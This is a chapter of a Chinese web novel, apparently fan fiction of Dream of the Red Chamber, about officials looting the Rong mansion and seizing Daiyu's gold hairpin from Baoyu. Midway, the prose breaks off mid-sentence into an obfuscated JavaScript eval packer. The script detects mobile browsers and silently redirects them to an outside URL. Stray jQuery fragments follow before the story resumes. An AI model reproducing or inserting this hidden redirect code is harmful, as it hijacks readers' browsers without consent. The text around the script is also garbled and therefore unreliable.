第一卷第2章：金簪坠·荣府余财遇劫


    宁国府的火光还未完全熄灭，暗红的余烬在雪夜里泛着诡异的光，像一双双窥视的眼睛。荣国府里早已乱作一团，丫鬟仆妇们抱着各自的细软，在回廊里东奔西跑，哭喊声、器物碰撞声与远处隐约的马蹄声交织，将这百年望族的体面撕扯得支离破碎。宝玉披着半旧的青缎夹袄，赤着脚踩在积雪覆盖的青石板上，寒气顺着脚底直窜脊梁，却浑然不觉——他的目光死死盯着宁国府的方向，通灵宝玉在颈间微微发烫，残留的淡蓝纹路仍在若隐若现，像是在感知着什么。


    一、惊魂定·残园寒夜议安危


    “二爷！快回屋添件衣裳！”袭人提着棉鞋追出来，冻得通红的手里还攥着件貂裘，“外面雪大，仔细冻坏了身子！宁国府的事……咱们管不了，先顾着自己才是！”


    宝玉被袭人拉着往暖阁走，路过贾母的正房时，看见鸳鸯正扶着贾母站在廊下。贾母穿着件月白绫袄，外面罩着青缎夹背心，银簪固定的发髻散乱了大半，往日里总是带着笑意的脸上，此刻满是惊惧与疲惫。她的目光越过庭院，落在宁国府的方向，嘴唇抖得厉害，却一句话也说不出来。


    “老太太，外面冷，您快回屋吧！”鸳鸯低声劝着，伸手想扶贾母进屋，却被贾母一把按住。


    “我不回！”贾母的声音沙哑得像砂纸磨过木头，“宁府都这样了，荣府还能好到哪儿去？我就在这儿等着，看看那些官差是不是下一步就来抄咱们荣府！”


    话音刚落，远处突然传来一阵急促的马蹄声，比刚才宁国府抄家时的声响更近、更密，像是有大队人马正在逼近。府里的哭喊声瞬间拔高，几个胆小的丫鬟直接瘫坐在雪地里，连爬起来的力气都没有。


    王夫人从佛堂匆匆赶来，穿着件半旧的素色棉袄，袖口处用浅灰色的线缝着块补丁，平日里总是梳得整齐的头发沾着雪粒，显得格外狼狈。“母亲，快回屋吧！官差要是来了，咱们也好关起门来商议，总不能在这儿等着被抓！”


    贾母被王夫人和鸳鸯半扶半劝地拉回屋，宝玉也跟着进去。暖阁里的炭盆早已熄灭，只剩下冰冷的灰烬，空气里弥漫着一股淡淡的香灰味。众人围着一张八仙桌坐下，桌上的茶盏倒在一旁，茶水洒了一地，在青石板上结了层薄冰。


    “宁府到底是犯了什么事？怎么说抄就抄了？”邢夫人裹着件露棉絮的夹袄，声音里满是焦虑，“前几日还听说珍大老爷去宫里请安了，怎么突然就……”


    “还能是什么事？”王夫人叹了口气，眼神落在宝玉颈间的通灵宝玉上，那玉的光芒已经淡了许多，却仍能看到细微的纹路，“定是平日里仗着皇亲国戚，得罪了什么人，或是贪赃枉法的事败露了。只是没想到，来得这么快，这么狠。”


    宝玉坐在角落里，手指无意识地摩挲着通灵宝玉。他能感觉到玉中传来的微弱震颤，像是在呼应着某种远方的能量。他想起刚才脑海中闪过的破碎画面，想起女娲补天的壮阔与黛玉临终的凄凉，心中忽然涌起一股强烈的不安——这场抄家，或许不仅仅是宁国府的劫难，更是某种更大危机的开端。


    二、铜铃响·内务府人踏雪来


    暖阁里的商议还没个结果，院门外突然传来一阵“哐哐哐”的门环砸响，力道极大，像是要把门板砸裂一般。紧接着是管事婆子惊慌的呼喊：“不好了！是内务府的人来了！带着兵丁！”


    众人脸色骤变，贾母猛地从椅子上站起来，脚步一个踉跄，幸好被鸳鸯扶住。“内务府？他们来做什么？”贾母的声音带着难以置信的慌乱，“咱们荣府一向安分守己，从没得罪过内务府的人！”


    王夫人的脸色也白得像纸，嘴唇哆嗦着说：“前几日就听说内务府在清查官员家产，说是南边闹了水患，要赈济灾民……怕是……怕是来‘暂借’财物的。”


    “暂借？”邢夫人拔高了声音，带着几分难以置信的愤怒，“他们这是明抢！宁府刚被抄，咱们荣府哪还有多少财物？”


    说话间，一群身着石青色补服的官员已经闯进了庭院，为首的是个四十多岁的胖子，脸圆得像个皮球，肉都堆到了下巴上，脸上泛着油光，正是内务府主事李守忠。他身后跟着十几个兵丁，手里的火把将庭院照得通红，映得那些官员傲慢的面孔格外刺眼。


    李守忠站在台阶上，目光扫过庭院里的雕梁画栋，像是在看一堆不值钱的破烂。他的视线最终落在贾母身上，嘴角撇了撇，皮笑肉不笑地拱了拱手：“老夫人安好。咱家是奉了上头的令，来荣国府‘暂借’些财物——南边水患严重，灾民流离失所，荣国府是百年望族，皇亲国戚，总得为朝廷分忧不是？”


    贾母强撑着镇定，福了福身，声音带着不易察觉的颤抖：“李主事大驾光临，有失远迎。只是府里近来实在拮据，宁府出事之后，咱们也被牵连，库房里的东西早就当了不少，实在是凑不出多少财物。还请李主事通融一二。”


    “通融？”李守忠的脸色瞬间沉了下来，把手里的马鞭往台阶上一磕，发出“啪”的一声脆响，“老夫人这话是说咱家不通情理？还是说荣国府仗着是皇亲，敢抗旨不遵？”


    三、金簪护·黛玉遗物难保全


    王夫人见势不妙，连忙从怀里掏出一张纸，正是内务府拟定的“暂借”清单，上面写着“黄金五百两、白银三千两、绸缎二百匹、古玩玉器若干”。她的手指抖得厉害，纸边都被捏得发皱：“李主事，您看这清单上的数目，府里实在凑不齐。您看能不能少要些，或者等过些日子，我们再想办法？”


    李守忠瞥了一眼清单，冷笑一声：“王夫人这话就见外了。前几年荣府的气派，谁不知道？元妃省亲时，那排场连宫里都比不上，哪会突然拮据？我看啊，是不想拿出来！”


    说着，他挥了挥手，身后的兵丁立刻冲进各个院落，砸门的声响、器物碎裂的声响此起彼伏。宝玉看着这一切，只觉得胸口发闷，通灵宝玉突然再次发烫，淡蓝的纹路重新亮起，他能清晰地感觉到，府里某处藏着的一件东西，正在与玉产生强烈的共鸣。


    他猛地想起什么，转身往潇湘馆的方向跑去。袭人在后面大喊：“二爷！您去哪儿？外面危险！”


    宝玉没有回头，他知道，那共鸣来自黛玉临终前留给她的那支金簪。那是贾代善送给王夫人的见面礼，后来王夫人给了元春，元春入宫前又还给了王夫人，最后王夫人转赠给了黛玉。黛玉生前格外珍视，临终前特意嘱咐紫鹃，将金簪还给王夫人，说是“留个念想”。王夫人一直把金簪藏在库房的紫檀木匣子里，从未示人。


    宝玉冲进库房时，几个兵丁正在翻箱倒柜，库房里的架子被推倒了好几个，上面的古玩玉器摔得粉碎。一个兵丁正拿着那个紫檀木匣，试图撬开上面的铜锁。


    “住手！”宝玉大喊一声，冲了过去。那兵丁回头看了他一眼，不屑地笑了笑，手里的刀子一挥，就想把宝玉推开。宝玉下意识地抬手去挡，颈间的通灵宝玉突然爆发出一道刺眼的蓝光，直奔那兵丁而去。


    兵丁惨叫一声，手里的刀子掉在地上，捂着胳膊后退了几步，脸色惨白。宝玉趁机夺过紫檀木匣，打开一看，里面的绒布上，那支金簪孤零零地躺在角落里，金簪顶端的梅花嵌着鸽血红宝石，虽有些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886377|192024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发黑，却依旧透着温润的光泽。


    “这是我的东西！不准碰！”宝玉将木匣紧紧抱在怀里，像抱着什么稀世珍宝。


    李守忠闻声赶来，看见宝玉怀里的木匣，眼睛一亮：“哟，这不是当年康熙爷赏给贾代善的金簪吗？倒是件宝贝！既然是府里的东西，那就该一并‘暂借’给朝廷！”


    “这不是府里的东西！是我个人的！”宝玉死死护着木匣，“这是黛玉留给我的念想，你们不能拿！”


    “你的东西？”李守忠眼睛一瞪，声音陡然提高，“荣府的库房里，哪有你的私产？库房里的一切，都是荣府的，都是皇家的！来人啊，把这匣子收了！”


    四、余财空·残梦破碎寒人心


    几个兵丁立刻围了上来，宝玉死死抱着木匣，不肯松手。通灵宝玉的蓝光越来越盛，将他整个人笼罩在其中，兵丁们一时不敢上前，只能围着他转圈。


    就在这时，王夫人匆匆赶来，看见眼前的景象，脸色瞬间变得惨白。“李主事，这金簪确实是个人之物，还请您高抬贵手，还给宝玉吧！”


    “个人之物？”李守忠冷笑一声，根本不买账，“王夫人这话哄谁呢？荣府的库房里，哪有私产？我看你们就是故意藏着财物，不肯为朝廷分忧！今天这金簪，我还非收不可了！”


    说着，他使了个眼色，一个兵丁突然从侧面冲过来，一把抓住宝玉的胳膊，另一个兵丁趁机去抢木匣。宝玉被拽得一个踉跄，怀里的木匣掉在地上，“啪”的一声，铜锁摔断了，金簪滚了出来，落在积雪里，发出清脆的声响。


    “不要！”宝玉嘶吼着，想去捡金簪，却被兵丁死死按住。他看着那支金簪被李守忠捡起来，用手指搓了搓上面的雪，又翻过来掉过去地看，像是在看什么稀奇玩意儿，然后“当”的一声，扔进了随身的锦盒里。


    “一支断了接头的破簪子，也配叫宝贝？”李守忠的声音里满是嘲讽，“王夫人，宝玉，你们也别再藏了，把库房里值钱的东西都拿出来，省得咱们动手，伤了和气！”


    兵丁们得了令，搜得更狠了。库房里的绸缎被扔得满地都是，古玩玉器摔得粉碎，连墙角的旧箱子都被劈开，里面的衣物被褥被扯出来，扔在雪地里。王夫人看着这一切，只觉得眼前发黑，身体晃了晃，差点栽倒。


    宝玉被兵丁按在地上，眼睁睁看着黛玉的金簪被带走，看着库房里的财物被洗劫一空，心里像被刀割一样疼。通灵宝玉的蓝光渐渐暗淡下去，最终恢复了往日的模样，只是表面的纹路似乎比之前更深了些，像是在记录着这场劫难。


    李守忠带着兵丁离开时，马车上装满了荣府的财物，车轮碾过积雪，留下深深的辙痕。荣府的庭院里，只剩下满地狼藉与散落的积雪，那些曾经象征着富贵与体面的器物，如今都成了破碎的残片，像极了这百年望族的命运。


    贾母坐在暖阁里，看着空荡荡的库房方向，眼泪终于忍不住掉了下来。王夫人扶着她，嘴唇哆嗦着，却说不出一句安慰的话。宝玉站在雪地里，颈间的通灵宝玉冰凉刺骨，他知道，荣府的繁华已经彻底落幕，接下来，等待他们的，将是无尽的艰难与未知。而黛玉的金簪，那支承载着无数回忆的信物，也成了这场劫难中又一个破碎的念想，提醒着他，那些逝去的美好，再也回不来了。


    雪越下越大，将荣府的残园覆盖，像是要掩埋所有的痕迹。但宝玉知道，有些东西是埋不住的——通灵宝玉的秘密，宁府抄家的真相，还有他心中那股不肯熄灭的执念。他握紧了拳头，眼神渐渐变得坚定，无论前路多么黑暗，他都要走下去，查明真相，守护好身边仅剩的人。